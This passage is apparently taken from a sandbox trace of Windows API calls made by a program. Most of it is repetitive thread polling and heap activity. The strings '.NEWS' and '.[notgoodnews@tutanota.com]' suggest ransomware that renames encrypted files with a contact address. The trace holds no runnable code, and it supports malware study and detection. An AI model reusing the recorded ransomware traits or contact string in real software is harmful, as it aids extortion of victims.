WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.479] GetTickCount () returned 0x113d73c [0173.479] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.663] GetTickCount () returned 0x113d7f7 [0173.663] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.949] GetTickCount () returned 0x113d920 [0173.949] GetTickCount () returned 0x113d920 [0173.949] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.436] GetTickCount () returned 0x113db04 [0174.436] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.901] GetTickCount () returned 0x113dce9 [0174.928] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.192] GetTickCount () returned 0x113ddf2 [0175.192] GetTickCount () returned 0x113ddf2 [0175.192] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.596] GetTickCount () returned 0x113df89 [0175.596] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.905] GetTickCount () returned 0x113e0c1 [0175.905] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.117] GetTickCount () returned 0x113e18c [0176.117] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.325] GetTickCount () returned 0x113e267 [0176.325] GetTickCount () returned 0x113e267 [0176.325] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.472] GetTickCount () returned 0x113e2f4 [0176.472] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.608] GetTickCount () returned 0x113e380 [0176.608] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.861] GetTickCount () returned 0x113e47a [0176.861] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0177.139] GetTickCount () returned 0x113e593 [0177.139] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0177.302] GetTickCount () returned 0x113e63f [0177.302] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0177.791] GetTickCount () returned 0x113e824 [0177.791] GetTickCount () returned 0x113e824 [0177.791] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0177.902] GetTickCount () returned 0x113e891 [0177.902] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0178.024] GetTickCount () returned 0x113e90e [0178.024] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0178.128] GetTickCount () returned 0x113e96c [0178.128] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0178.237] GetTickCount () returned 0x113e9d9 [0178.237] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0178.345] GetTickCount () returned 0x113ea47 [0178.345] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0178.894] GetTickCount () returned 0x113ec69 [0178.894] GetTickCount () returned 0x113ec69 [0178.894] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0179.153] GetTickCount () returned 0x113ed73 [0179.153] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0179.536] GetTickCount () returned 0x113eefa [0179.536] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0179.687] GetTickCount () returned 0x113ef86 [0179.687] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0179.879] GetTickCount () returned 0x113f042 [0179.879] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0180.400] GetTickCount () returned 0x113f255 [0180.400] GetTickCount () returned 0x113f255 [0180.400] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0180.681] GetTickCount () returned 0x113f36e [0180.681] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0180.891] GetTickCount () returned 0x113f439 [0180.891] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0181.117] GetTickCount () returned 0x113f524 [0181.118] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0181.272] GetTickCount () returned 0x113f5c0 [0181.272] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0181.627] GetTickCount () returned 0x113f718 [0181.627] GetTickCount () returned 0x113f718 [0181.627] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0182.158] GetTickCount () returned 0x113f92b [0182.158] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0182.283] GetTickCount () returned 0x113f9a8 [0182.283] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0182.679] GetTickCount () returned 0x113fb3e [0182.679] GetTickCount () returned 0x113fb3e [0182.679] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0182.831] GetTickCount () returned 0x113fbcb [0182.831] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0183.198] GetTickCount () returned 0x113fd42 [0183.198] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0183.347] GetTickCount () returned 0x113fdcf [0183.347] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0183.612] GetTickCount () returned 0x113fed8 [0183.612] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0184.239] GetTickCount () returned 0x1140149 [0184.239] GetTickCount () returned 0x1140149 [0184.239] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0184.445] GetTickCount () returned 0x1140214 [0184.445] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0184.677] GetTickCount () returned 0x11402ff [0184.677] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0185.035] GetTickCount () returned 0x1140466 [0185.035] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0185.492] GetTickCount () returned 0x114062b [0185.492] GetTickCount () returned 0x114062b [0185.492] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0185.767] GetTickCount () returned 0x1140744 [0185.767] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0186.056] GetTickCount () returned 0x114085e [0186.056] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0186.288] GetTickCount () returned 0x1140948 [0186.288] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0186.795] GetTickCount () returned 0x1140b4c [0186.795] GetTickCount () returned 0x1140b4c [0186.795] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0187.050] GetTickCount () returned 0x1140c46 [0187.050] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0187.413] GetTickCount () returned 0x1140dad [0187.413] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0187.737] GetTickCount () returned 0x1140ef5 [0187.737] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0187.950] GetTickCount () returned 0x1140fd0 [0187.950] GetTickCount () returned 0x1140fd0 [0187.950] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0188.223] GetTickCount () returned 0x11410da [0188.223] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0188.496] GetTickCount () returned 0x11411f3 [0188.496] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0188.793] GetTickCount () returned 0x114131c [0188.793] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0189.232] GetTickCount () returned 0x11414d1 [0189.232] GetTickCount () returned 0x11414d1 [0189.232] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0189.693] GetTickCount () returned 0x1141696 [0189.693] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0189.993] GetTickCount () returned 0x11417bf [0189.993] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0190.162] GetTickCount () returned 0x114186b [0190.162] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x0 [0190.285] WaitForMultipleObjects (nCount=0x4, lpHandles=0x281ff5c*=0x2a0, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0190.446] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x52d1020 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4639b8 | out: hHeap=0x420000) returned 1 [0190.450] lstrlenW (lpString=".NEWS") returned 5 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a198 | out: hHeap=0x420000) returned 1 [0190.450] lstrlenW (lpString=".[notgoodnews@tutanota.com]") returned 27 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dab8 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4639c8 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a0a8 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a0d8 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x479e08 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a330 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x479df0 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a150 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463a18 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a1b0 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a300 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a168 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463a88 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463b88 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a3a8 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463a78 | out: hHeap=0x420000) returned 1 [0190.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a2d0 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463ae8 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a120 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f0d0 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f260 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4331c8 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43bb68 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x466768 | out: hHeap=0x420000) returned 1 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436048 | out: hHeap=0x420000) returned 1 [0190.451] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089120 [0190.451] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089120, Size=0x20) returned 0x408ddd0 [0190.451] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089258 [0190.451] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089258, Size=0x20) returned 0x408df88 [0190.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.451] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.451] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x1) returned 1 [0190.451] lstrlenW (lpString="kernel32.dll") returned 12 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.451] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ddd0 | out: hHeap=0x420000) returned 1 Thread: id = 36 os_tid = 0xdd4 [0156.857] GetTickCount () returned 0x113965a [0156.858] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x485b78 [0156.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x485b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0156.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x485b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0156.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x485b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0156.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x485b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0156.860] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d090 [0156.860] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d090, Size=0x20) returned 0x45f0a8 [0156.860] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cf70 [0156.860] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47cf70, Size=0x20) returned 0x45f148 [0156.861] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0156.861] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0156.861] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff7c | out: OldValue=0x295ff7c*=0x0) returned 1 [0156.861] lstrlenW (lpString="kernel32.dll") returned 12 [0156.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f0a8 | out: hHeap=0x420000) returned 1 [0156.861] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f148 | out: hHeap=0x420000) returned 1 [0156.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x487778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0156.862] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0157.149] GetTickCount () returned 0x1139773 [0157.149] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0157.412] GetTickCount () returned 0x113989c [0157.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0157.636] GetTickCount () returned 0x1139967 [0157.636] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0157.846] GetTickCount () returned 0x1139a33 [0157.846] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0158.011] GetTickCount () returned 0x1139ade [0158.011] GetTickCount () returned 0x1139ade [0158.011] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0158.285] GetTickCount () returned 0x1139be8 [0158.285] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0158.730] GetTickCount () returned 0x1139dad [0158.730] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0159.041] GetTickCount () returned 0x1139ee6 [0159.041] GetTickCount () returned 0x1139ee6 [0159.041] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0159.383] GetTickCount () returned 0x113a02e [0159.383] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0159.807] GetTickCount () returned 0x113a1e3 [0159.807] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0160.048] GetTickCount () returned 0x113a2ce [0160.048] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0160.682] GetTickCount () returned 0x113a54e [0160.682] GetTickCount () returned 0x113a54e [0160.682] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0161.192] GetTickCount () returned 0x113a742 [0161.192] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0161.761] GetTickCount () returned 0x113a984 [0161.761] GetTickCount () returned 0x113a984 [0161.761] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0162.182] GetTickCount () returned 0x113ab2a [0162.182] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0162.836] GetTickCount () returned 0x113adbb [0162.836] GetTickCount () returned 0x113adbb [0162.836] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0163.189] GetTickCount () returned 0x113af12 [0163.189] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0163.401] GetTickCount () returned 0x113afed [0163.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0163.645] GetTickCount () returned 0x113b0d7 [0163.645] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0163.849] GetTickCount () returned 0x113b1a3 [0163.849] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0164.060] GetTickCount () returned 0x113b27d [0164.060] GetTickCount () returned 0x113b27d [0164.060] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0164.580] GetTickCount () returned 0x113b481 [0164.580] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0164.993] GetTickCount () returned 0x113b617 [0164.993] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0165.544] GetTickCount () returned 0x113b84a [0165.544] GetTickCount () returned 0x113b84a [0165.544] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0166.113] GetTickCount () returned 0x113ba7c [0166.113] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0166.418] GetTickCount () returned 0x113bbb5 [0166.421] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0166.786] GetTickCount () returned 0x113bd1c [0166.786] GetTickCount () returned 0x113bd1c [0166.786] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0166.915] GetTickCount () returned 0x113bd99 [0166.915] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0167.192] GetTickCount () returned 0x113beb2 [0167.192] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0167.587] GetTickCount () returned 0x113c049 [0167.587] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0167.834] GetTickCount () returned 0x113c133 [0167.834] GetTickCount () returned 0x113c143 [0167.834] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.113] GetTickCount () returned 0x113c24c [0168.113] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.348] GetTickCount () returned 0x113c337 [0168.348] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.497] GetTickCount () returned 0x113c3d3 [0168.497] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.601] GetTickCount () returned 0x113c440 [0168.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.739] GetTickCount () returned 0x113c4bd [0168.739] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.835] GetTickCount () returned 0x113c52b [0168.835] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0168.945] GetTickCount () returned 0x113c598 [0168.945] GetTickCount () returned 0x113c598 [0168.945] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.054] GetTickCount () returned 0x113c605 [0169.054] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.163] GetTickCount () returned 0x113c673 [0169.163] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.273] GetTickCount () returned 0x113c6e0 [0169.273] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.381] GetTickCount () returned 0x113c74d [0169.381] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.491] GetTickCount () returned 0x113c7bb [0169.491] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.600] GetTickCount () returned 0x113c828 [0169.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.719] GetTickCount () returned 0x113c896 [0169.719] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.834] GetTickCount () returned 0x113c913 [0169.834] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0169.944] GetTickCount () returned 0x113c980 [0169.944] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.053] GetTickCount () returned 0x113c9ed [0170.053] GetTickCount () returned 0x113c9ed [0170.053] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.163] GetTickCount () returned 0x113ca5b [0170.163] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.272] GetTickCount () returned 0x113cac8 [0170.272] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.483] GetTickCount () returned 0x113cb93 [0170.483] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.608] GetTickCount () returned 0x113cc10 [0170.608] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.719] GetTickCount () returned 0x113cc7e [0170.719] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0170.819] GetTickCount () returned 0x113cceb [0170.819] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0171.307] GetTickCount () returned 0x113cecf [0171.307] GetTickCount () returned 0x113cecf [0171.308] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0171.502] GetTickCount () returned 0x113cf8b [0171.502] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0171.600] GetTickCount () returned 0x113cff8 [0171.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0172.733] GetTickCount () returned 0x113d45d [0172.733] GetTickCount () returned 0x113d45d [0172.733] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0173.291] GetTickCount () returned 0x113d680 [0173.291] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0173.474] GetTickCount () returned 0x113d73c [0173.475] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0173.662] GetTickCount () returned 0x113d7f7 [0173.662] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0173.949] GetTickCount () returned 0x113d920 [0173.949] GetTickCount () returned 0x113d920 [0173.949] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0174.436] GetTickCount () returned 0x113db04 [0174.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0174.928] GetTickCount () returned 0x113dce9 [0174.928] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0175.193] GetTickCount () returned 0x113ddf2 [0175.193] GetTickCount () returned 0x113ddf2 [0175.193] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0175.596] GetTickCount () returned 0x113df89 [0175.596] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0175.905] GetTickCount () returned 0x113e0c1 [0175.905] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0176.118] GetTickCount () returned 0x113e18c [0176.118] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0176.325] GetTickCount () returned 0x113e267 [0176.325] GetTickCount () returned 0x113e267 [0176.325] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0176.473] GetTickCount () returned 0x113e2f4 [0176.473] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0176.608] GetTickCount () returned 0x113e380 [0176.608] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0176.861] GetTickCount () returned 0x113e47a [0176.861] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0177.139] GetTickCount () returned 0x113e593 [0177.139] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0177.303] GetTickCount () returned 0x113e63f [0177.303] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0177.791] GetTickCount () returned 0x113e824 [0177.791] GetTickCount () returned 0x113e824 [0177.791] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0177.902] GetTickCount () returned 0x113e891 [0177.902] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0178.024] GetTickCount () returned 0x113e90e [0178.024] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0178.128] GetTickCount () returned 0x113e96c [0178.128] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0178.237] GetTickCount () returned 0x113e9d9 [0178.237] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0178.345] GetTickCount () returned 0x113ea47 [0178.345] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0178.893] GetTickCount () returned 0x113ec69 [0178.893] GetTickCount () returned 0x113ec69 [0178.893] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0179.153] GetTickCount () returned 0x113ed73 [0179.153] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0179.536] GetTickCount () returned 0x113eeea [0179.536] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0179.688] GetTickCount () returned 0x113ef86 [0179.688] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0179.879] GetTickCount () returned 0x113f042 [0179.879] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0180.401] GetTickCount () returned 0x113f255 [0180.401] GetTickCount () returned 0x113f255 [0180.401] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0180.729] GetTickCount () returned 0x113f39d [0180.729] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0180.904] GetTickCount () returned 0x113f449 [0180.904] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0181.117] GetTickCount () returned 0x113f524 [0181.117] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0181.272] GetTickCount () returned 0x113f5c0 [0181.272] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0181.627] GetTickCount () returned 0x113f718 [0181.627] GetTickCount () returned 0x113f718 [0181.627] WaitForSingleObject (hHandle=0x2fc, 